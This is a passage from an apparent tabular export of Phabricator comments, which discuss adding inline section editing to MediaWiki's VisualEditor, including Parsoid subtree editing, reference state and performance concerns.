+The parsing-related work can be seen at [[https://phabricator.wikimedia.org/project/view/3331/|Parsoid: Section-Editing-Support board]].",Low,25.0,1368497160,,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-wdo3c45xgv7mte4en6az,task_description,open,True,c1,1,False,False,,-7,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+1619693,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Not sure how related these are, but task watchers may be interested in {T209955} and children. (My uneducated observation is that the one doesn't necessarily sort the ""performance"" aspect of this one.)",,,1605882637,,PHID-USER-yawytiq5q7eduxmvnkid,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,385,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+1550893,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"I am just tyring to get the gnarly dependency graph look a bit more sane .. and AFAIK, this task isn't dependent on read views since you've all embarked on this work in previous years already. If my edit is in error, feel free to add the dependency back.",,,1595628476,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,True,,,368,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+1525700,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,">>! In T50429#6218951, @valerio.bozzolan wrote:
+> Is this task also about supporting `action=edit&section=new` in VisualEditor?
+
+I don't think we have plans to add that, sorry.",,,1592252834,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,True,,,363,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,1
+1524133,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,Is this task also about supporting `action=edit&section=new` in VisualEditor? Thank you.,,,1591964176,,PHID-USER-hphk5jxfxfgl64tpfacw,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,362,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+1242749,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Thanks. I take your word for it that editing a section on the same page
+will be *faster* than loading the section editor on a fresh screen. The
+design intent is to reduce client load by putting as little of the page as
+practical in edit mode.",,,1552558162,,PHID-USER-axuerq3wmxtfm6tav6bu,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,297,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
+1241390,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Just as a comment, this task is for ""section editing inline with read mode"", a cooler/faster system than T76541 (which is section editing on its own page). Not sure if that's clear here.",,,1552409670,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,True,,,297,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+1144351,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,We need to further explore the approach. ,,,1537375112,,PHID-USER-hqyy4wr7smuc4rzaoio5,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,272,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+1136697,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,">>! In T50429#4559824, @Jdforrester-WMF wrote:
+>>>! In T50429#4559065, @deryckchan wrote:
+>>>>! In T50429#4558267, @kaldari wrote:
+>>> Currently the main blocker (although it may not be a hard blocker) is parsing support for managing state that is page-level (mainly for reference management). @dchan  is [[ https://gerrit.wikimedia.org/r/#/c/VisualEditor/VisualEditor/+/433753/ | exploring doing some of the subtree editing business on the client side ]] as something of a stop-gap solution. The Parsing team's [[ https://gerrit.wikimedia.org/r/#/c/mediawiki/services/parsoid/+/456520/ | work on server-side ref management ]] will probably be a better long-term solution (see T146072). They are hoping to have that work wrapped before the end of 2018. Anything to add @ssastry, @dchan, @DLynch, @Esanders?
+>> 
+>> What's the worst that can happen if we let VE load a section of a page, ignoring page-wide state variables? We have made do with section edit page previews, which ignore the effects of other parts of the page on the section you're editing, without too many issues for over a decade.
+> 
+> From a product feature perspective, the citation functionality that people most like about VE wouldn't work (it's entirely page-level content). With the stop-gap work Ryan mentions, it will, mostly, but //e.g.// citations from this section but also used elsewhere won't be editable, which will be very confusing.
+> 
+> From a product reliability perspective, there's the risk of catastrophic page corruption from section-spanning structures (people putting headings in a table, using headings via a template, or using templates that open a div but don't close it, or…), and even if that is somehow(?!) avoided, it'll be at best confusing when some section edit buttons refuse to load.
+
+
+Parsoid currently provides <section> wrappers around HTML and these section wrappers also have editable / uneditable markers on them based on the well-formedness of the wikitect that generated them. So, a section edit scenario, if the section is opened for editing, Parsoid guarantees that the content in there does not contain HTML tags that had an incorrect overlap elsewhere. So, if you open such a section for editing (and just that section), and since VE doesn't introduce bad markup, you are unlikely to cause page corruption.
+
+As for dealing with global state, we have two separate work-in-progress patches
+* https://gerrit.wikimedia.org/r/#/c/mediawiki/services/parsoid/+/456520/ frees clients from having to worry about global state, i.e. what happens if you delete a named ref that is used elsewhere. That patch requires clients to mark deleted references with a 'deleted' marker in the data-mw property instead of actually deleting the refences. Parsoid then handles updating state appropriately.
+* https://gerrit.wikimedia.org/r/#/c/mediawiki/services/parsoid/+/441151/ adds support for subtree editing. It effectively takes the desired subtree and computes a ""closure"" of that subtree wrt global state so that the subtree now behaves like a self-contained high-level document. This depends on the previous patch for handling named references.
+
+As part of the patches above, we are adding extension API endpoints to make this support generic, since for example, there is also templatestyles, which has page-level global state when templatestyle uses are deduplicated.
+
+It will take a little while to work through all the details to completion, test, etc. but that is the generic direction we are going towards on the Parsoid end.",,,1536249606,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,True,,,270,,1,1,1,0,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,1,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
+1135910,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Thanks James, that sounds reasonable. I think Ryan's proposal is a fine
+solution - we can allow sections to be edited while freezing references
+that are reused elsewhere on the page, preventing them from being deleted.
+
+If a section cannot be edited, I think users will find it reasonable when
+they see an error like ""This section cannot be edited on its own because it
+depends on [another section of the page / name of transcluded page]. Please
+try editing [the whole page / link to transcluded page] instead.""",,,1536166546,,PHID-USER-axuerq3wmxtfm6tav6bu,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,270,,0,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+1135806,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,">>! In T50429#4559065, @deryckchan wrote:
+>>>! In T50429#4558267, @kaldari wrote:
+>> Currently the main blocker (although it may not be a hard blocker) is parsing support for managing state that is page-level (mainly for reference management). @dchan  is [[ https://gerrit.wikimedia.org/r/#/c/VisualEditor/VisualEditor/+/433753/ | exploring doing some of the subtree editing business on the client side ]] as something of a stop-gap solution. The Parsing team's [[ https://gerrit.wikimedia.org/r/#/c/mediawiki/services/parsoid/+/456520/ | work on server-side ref management ]] will probably be a better long-term solution (see T146072). They are hoping to have that work wrapped before the end of 2018. Anything to add @ssastry, @dchan, @DLynch, @Esanders?
+> 
+> What's the worst that can happen if we let VE load a section of a page, ignoring page-wide state variables? We have made do with section edit page previews, which ignore the effects of other parts of the page on the section you're editing, without too many issues for over a decade.
+
+From a product feature perspective, the citation functionality that people most like about VE wouldn't work (it's entirely page-level content). With the stop-gap work Ryan mentions, it will, mostly, but //e.g.// citations from this section but also used elsewhere won't be editable, which will be very confusing.
+
+From a product reliability perspective, there's the risk of catastrophic page corruption from section-spanning structures (people putting headings in a table, using headings via a template, or using templates that open a div but don't close it, or…), and even if that is somehow(?!) avoided, it'll be at best confusing when some section edit buttons refuse to load.",,,1536161053,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,True,,,270,,1,1,1,0,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1
+1135616,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,">>! In T50429#4558267, @kaldari wrote:
+> Currently the main blocker (although it may not be a hard blocker) is parsing support for managing state that is page-level (mainly for reference management). @dchan  is [[ https://gerrit.wikimedia.org/r/#/c/VisualEditor/VisualEditor/+/433753/ | exploring doing some of the subtree editing business on the client side ]] as something of a stop-gap solution. The Parsing team's [[ https://gerrit.wikimedia.org/r/#/c/mediawiki/services/parsoid/+/456520/ | work on server-side ref management ]] will probably be a better long-term solution (see T146072). They are hoping to have that work wrapped before the end of 2018. Anything to add @ssastry, @dchan, @DLynch, @Esanders?
+
+What's the worst that can happen if we let VE load a section of a page, ignoring page-wide state variables? We have made do with section edit page previews, which ignore the effects of other parts of the page on the section you're editing, without too many issues for over a decade.",,,1536140954,,PHID-USER-axuerq3wmxtfm6tav6bu,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,270,,1,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1
+1135459,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Thanks @kaldari! As I understand it the fundamental differences between T76541 and T146072 are:
+
+- With T76541 , the browser has all the document-level data (meta / internal list items, in VE parlance) at its disposal, but at a cost of the whole document being received and parsed (though not rendered, which greatly improves speed and memory usage).
+
+- With T146072 , the browser only has to receive and render a single section that effectively behaves like a small, simple document, but at a cost of not having all the document-level data at its disposal.
+
+It seems there's substantial overlap where either may be adequate to achieve certain functionality, but that the tasks are actually complementary – there are use cases that would need one or the other. For instance, T76541 would be needed to suggest existing citations when adding a new reference, or to keep reference numbering accurate while editing; but you would clearly want T146072 for certain microedit-style approaches that step rapidly between documents.",,,1536114562,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,270,,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,0,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0
+1135435,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,Are you aware of the VEForAll extension? https://www.mediawiki.org/wiki/Extension:VEForAll,,,1536110041,,PHID-USER-7jqnferdzzzwelhzchyo,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,270,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0
+1135433,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Currently the main blocker (although it may not be a hard blocker) is parsing support for managing state that is page-level (mainly for reference management). @dchan  is [[ https://gerrit.wikimedia.org/r/#/c/VisualEditor/VisualEditor/+/433753/ | exploring doing some of the subtree editing business on the client side ]] as something of a stop-gap solution. The Parsing team's [[ https://gerrit.wikimedia.org/r/#/c/mediawiki/services/parsoid/+/456520/ | work on server-side ref management ]] will probably be a better long-term solution (see T146072). They are hoping to have that work wrapped before the end of 2018. Anything to add @ssastry, @dchan, @DLynch, @Esanders?",,,1536108865,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,270,,1,1,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1
+400295,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,">>! In T50429#979728, @Jdforrester-WMF wrote:
+> It's entirely do-able for the developers of SemanticMediaWiki to create a VisualEditor integration for each of the fields in a form. Indeed, it's one of the use-cases we built VisualEditor around.
+
+I have been poking around the VE and (recently) Semantic Forms looking for a place where I can dig in.  This may be it.  I can't promise anything, but knowing this is a place that needs work and that some of my users could use it helps.
+
+Knowing other people want it doesn't hurt, either.",,,1421355867,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,80,,1,1,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+400161,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"It's entirely do-able for the developers of SemanticMediaWiki to create a VisualEditor integration for each of the fields in a form. Indeed, it's one of the use-cases we built VisualEditor around. However, it'd be a bunch of work and it's nothing we're planning to do at the Wikimedia Foundation (we don't support Semantic MediaWiki either). So effectively this is a ""no"" for your question.
+
+This task is talking about using VisualEditor to edit parts of a single-content-block page, not a page made up via collections of different pieces of information.",,,1421340191,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,True,,,80,,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+400158,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"I've been using Semantic Forms for more than 4 years now. It used to support the FCKEditor extension (and branch SMW+ supported the WYSIWYG extension).
+But the decision to stop using FCKEditor going forward was at least related to the promise of a cleaner integration with VisualEditor (Yaron Koren would be able to
+comment more accurately on that).  I believe that was decided around 2012.
+
+I'm now with a new company, and I've been tasked with evaluating Atlassian Confluence.  It supports bare pages, but also form-based pages.  The only significant feature it has over
+Semantic Mediawiki / Forms installation is WYSIWYG editing.  I can't stick with MW 1.16 / FCKEditor as I did at my previous company, so it looks like we'll to go with 
+Confluence... which is a shame to me, since I know how versatile the mediawiki environment is.
+
+It doesn't seem like the work-arounds being considered would support being about do do WYSIWYG editing in a text field or the free text area of a Semantic Form.  
+//If that's the case//, it would be nice if this could be marked WONTFIX, and a new issue created that discusses compensating for the lack of an edit section as we
+know it in Mediawiki.
+
+Or, it's 2015, the solution is about to be released any day now, and I'll shut up (I can do that last one anyway).",,,1421340016,,PHID-USER-v7p53gf64fwttu5ylooz,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,80,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,1,1,1,0,1,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0
+400155,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"I've been using Semantic Forms for more than 4 years now. It used to support the FCKEditor extension (and branch SMW+ supported the WYSIWYG extension).
+But the decision to stop using FCKEditor going forward was at least related to the promise of a cleaner integration with VisualEditor (Yaron Koren would be able to
+comment more accurately on that).  I believe that was decided around 2012.
+
+I'm now with a new company, and I've been tasked with evaluating Atlassian Confluence.  It supports bare pages, but also form-based pages.  The only significant feature it has over
+Semantic Mediawiki / Forms installation is WYSIWYG editing.  I can't stick with MW 1.16 / FCKEditor as I did at my previous company, so it looks like we'll to go with 
+Confluence... which is a shame to me, since I know how versatile the mediawiki environment is.
+
+It doesn't seem like the work-arounds being considered would support being about do do WYSIWYG editing in a text field or the free text area of a Semantic Form.  
+''If that's the case'', it would be nice if this could be marked WONTFIX, and a new issue created that discusses compensating for the lack of an edit section as we
+know it in Mediawiki.
+
+Or, it's 2015, the solution is about to be released any day now, and I'll shut up (I can do that last one anyway).",,,1421339932,,PHID-USER-v7p53gf64fwttu5ylooz,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,80,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,1,1,1,0,1,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0
+223285,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to Tim Starling from comment #49)
+> > * Editing by section blocks users from editing other areas at the same time
+> > that the notice flaws in after they've entered editing, for very limited
+> > added-value.
+> 
+> For large articles, I think the added value would be very large indeed.
+> People don't want to wait tens of seconds to make a small correction, and
+> it's likely that VE performance causes many edits to be abandoned.
+> 
+> Perhaps there are other solutions for the performance issue, but it seems to
+> me that this is a fairly obvious approach, especially for bandwidth
+> reduction.
+
+For what it's worth...
+
+I did a non-scientific poll and asked the Hebrew Wikipedia community what are the people's reasons to avoid VE. Precisely this suggestion came up several times.",,,1408623631,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,59,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+223276,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"No, it definitely shouldn't be a preference – instead, it should be possible for everyone to ""expand"" the editing area from the one section to the entire article.",,,1404067177,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,True,,,51,,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0
+223269,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Another thought on the preference: currently clicking on a section edit gives a pre-filled edit summary including the section.  Whether this happens should depend on the same preference.  If I have ""section-editing"" set to yes, I would get the pre-filled edit summary and other sections hidden; if I have it set to no, I would get no pre-filled edit summary, and I would see the whole article, as happens now.  This would help avoid the (common) situation where the edit summary is misleading when a section edit is clicked.",,,1403957632,,PHID-USER-ufjbf3qatjamiwoal5fp,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,51,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0
+223263,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Re comment 52: I agree that show/hide would be nice for the uneditable sections.
+
+More importantly, if this behaviour is implemented, please make it a preference option.  I often use ""edit beta"" on one section in order to fix a problem I see in the section just above it; I'd hate to lose that capability.",,,1403956163,,PHID-USER-ufjbf3qatjamiwoal5fp,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,51,,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,1,0,0,1,0,0
+223257,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Mike Christie has a suggestion:  Edit the whole page, but only display the chosen section.  
+
+By this I don't think he means ""discard"" everything except the section, but instead just to cover up the other parts.  We're already scrolling to the chosen section, so this would add maybe a gray or white block over everything above that (or perhaps collapse it), and ideally everything below it, too.  
+
+This would help people who are using section editing to keep them focused on their chosen tasks, rather than because of beliefs about performance or edit conflicts.",,,1403929593,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,51,,0,1,0,0,1,1,0,1,0,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+223249,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"Comment 46 ignored comment 44, hence making the priority value reflect reality again. If there are further good arguments to give this higher priority, feel free to convince the *developers* to set a higher priority again.",,,1394027896,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,True,,,35,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0
+223242,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #49)
+> 
+> Yes, the existing feature prevents users from editing other sections on the
+> page, which sucks. That could presumably be addressed in VE: a separate
+> content-editable region could be created by each section edit click, to be
+> saved in bulk.
+
+
+i agree with Tim's comment wholeheartedly, except the last paragraph: preventing the user from editing outside the section doesn't ""suck"". it's a great feature.
+
+when editing a section, we have automatically generated edit summary with the section name. for users that use wikitext editor, you pretty much know, when you see the very common ""/* section name */ optional comment"" edit summary, that the edit is indeed confined to the section whose name appears in the comment.
+
+but with VE, because of the wrong (IMHO) way bug 50872 was handled, a user can press the ""sectionedit"" link of some section, then edit anywhere on the page, and the summary will still show the section name of the click. this makes the summary practically useless: when looking at the history, seeing a section name in the summary tells me nothing - i don't care which button Joe pressed, i care which content was changed, and the summary does not tell me that anymore.[1]
+
+
+since the most urgent issue ATM for VE is unacceptable performance on longer articles with slower machines, true section edit would be (as Tim notes) a very very desirable feature. 
+
+how about this: i think that the cases where a section is not balanced, in terms of html tags (the case described in comment 2) is very rare. how about falling back to full article edit in those rare cases? [2]
+true, it means that those cases would be even slower, but i believe that those are a negligible minority. the vast majority of the sections *are* balanced, and will gain greatly (performance wise) from the ability to edit a single section.
+
+
+peace.
+
+---------------------------------------------
+
+[1] this can be handled by undoing the solution for bug 50872, and solving bug 51903 instead (i.e., create the summary by analyzing the diff instead of the button the user clicked), but the best thing, IMO, would be to support true ""section edit"" for VE.
+
+
+[2] this means: get the section content from the server, and if it ""does not make sense"", like the example in comment #2, get and edit the whole page.",,,1375911862,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-wdo3c45xgv7mte4en6az,task_subcomment,,True,c1,3,False,,,5,,1,0,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+223237,[Epic] Support editing parts of a page in VisualEditor-MediaWiki,"(In reply to comment #2)
+> {|
+> ! Foo !! Bar
+> |-
+> === Section 1 ===
+> |-
+> | Foo || bar
+> === Section 2 ===
+> |-
+> | Foo || bar
+> |}
+> 
+> Coming up with a solution to this is would be a significant piece of
+> engineering effort for marginal utility.
+
+The section editing feature in the old parser works by excluding all sections headings where the heading is not a child of the document root. The previous section thus runs on past the excluded heading. This means that a section can always be represented as a set of adjacent DOM subtrees. It seems to me that the same solution could be implemented in VE. 
+
+The definition of ""children of the document root"" would change somewhat, since it is a different kind of DOM, so the number of excluded sections would be larger, but it would still be a better solution than what we have now.
+
+> * The reasons we brought in section-editing originally were two-fold - to
+> skip
+> past confusing wikitext in other areas to find the item you actually wanted
+> to
+> edit (not an issue in the context of VisualEditor), and to avoid edit
+> conflicts
+> using the page-based diffs at the time (not an issue for ~ 7 years since Tim
+> re-wrote the diff tool).
+
+Section editing has never had any special case to help with edit conflicts -- it was always dealt with using the generic three-way merge feature, which, for the record, I did not write.
+
+I think the main two reasons for implementing section editing were bandwidth and avoiding the need to scroll. Erik's original post on the subject suggests as much:
+
+http://article.gmane.org/gmane.science.linguistics.wikipedia.technical/3433
+
+Note that it was implemented at a time when 56k modems were still common -- I had one at the time, and I was certainly glad of the performance improvement.
+
